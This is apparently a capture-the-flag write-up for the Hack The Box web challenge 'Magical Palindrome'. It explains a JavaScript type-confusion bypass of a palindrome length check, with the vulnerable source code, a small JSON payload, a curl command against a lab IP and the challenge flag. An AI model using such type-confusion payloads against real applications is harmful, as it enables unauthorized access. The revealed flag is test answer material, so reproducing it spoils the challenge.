Back to writeups
HTBwebVery Easysolved

Magical Palindrome

3 Jul 2026 · by 0xIDA

Solvers

Magical Palindrome

Author: 0xIDA
Platform: HTB · Category: web · Difficulty: Very Easy

Platform: Hack The Box
Category: Web
Difficulty: Very Easy
Flag: HTB{Lum0s_M@x!ma}

Solvers

Summary

A Hono/Node.js web app that asks for a palindrome string of at least 1000 characters. A nginx client_max_body_size of 75 bytes prevents sending a long string directly. The vulnerability is a JavaScript type confusion: if palindrome is an object where length is the string "1000" (not a number), the length check passes while Array("1000") only creates a 1-element array, running the palindrome check only once.

Target

  • http://154.57.164.74:30240 (HTB endpoint)

Source Analysis

index.mjs (relevant parts)

const IsPalinDrome = (string) => {
    if (string.length < 1000) {
        return 'Tootus Shortus';
    }
    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];
        if (original !== reverse || typeof original !== 'string') {
            return 'Notter Palindromer!!';
        }
    }
    return null;
}

nginx.conf

client_max_body_size 75;

Exploitation

Step 1: Identify the Type Confusion

The IsPalinDrome function takes a JSON-parsed value and accesses:

  • string.length — used for length check AND Array() constructor
  • string[i] — indexed access
  • typeof string[i] — type check

When palindrome is an object with length: "1000" (string):

  1. Length check: "1000" < 1000 → JS coerces "1000" to 10001000 < 1000 = falsePASSES!
  2. Array constructor: Array("1000") → Type is String, not Number → creates single-element array ["1000"] (not 1000 slots)
  3. Iteration: .keys() on ["1000"] yields only index 0 → loop runs once
  4. Palindrome check: Set obj[0] = "a" and obj[999] = "a" → both are strings, both equal → PASSES!

Step 2: Craft Payload

{"palindrome":{"0":"a","999":"a","length":"1000"}}

Size: 50 bytes (well within the 75-byte limit)

Step 3: Exploit

curl -s -X POST http://154.57.164.74:30240/ \
  -H 'Content-Type: application/json' \
  -d '{"palindrome":{"0":"a","999":"a","length":"1000"}}'

Response: Hii Harry!!! HTB{Lum0s_M@x!ma}

Why This Works

ConditionNormal StringExploit (Object)
length >= 10001000 chars = large body"1000" < 1000 = false
Body size1000+ bytes → blocked by nginx (75 bytes)50 bytes ✓
string[i] === string[length-i-1]Requires full palindromeOnly i=0 checked ✓
typeof string[i] === 'string'Always true for stringsSet obj[0] = "a"

The key difference: When Array() receives a non-numeric argument, it doesn't create a sparse array — it creates a single-element array with that argument. So Array("1000") = ["1000"], not Array(1000) = 1000 empty slots.

Tools Used

  • curl for HTTP requests
  • node for local JS verification
  • Source code analysis from extracted challenge files

Lessons Learned

  • JavaScript's Array() constructor has different behavior for number vs string arguments — a classic JS quirk
  • client_max_body_size can be bypassed by keeping the body small while exploiting JS type confusion
  • Always check what types can enter Array() — non-numeric arguments truncate the loop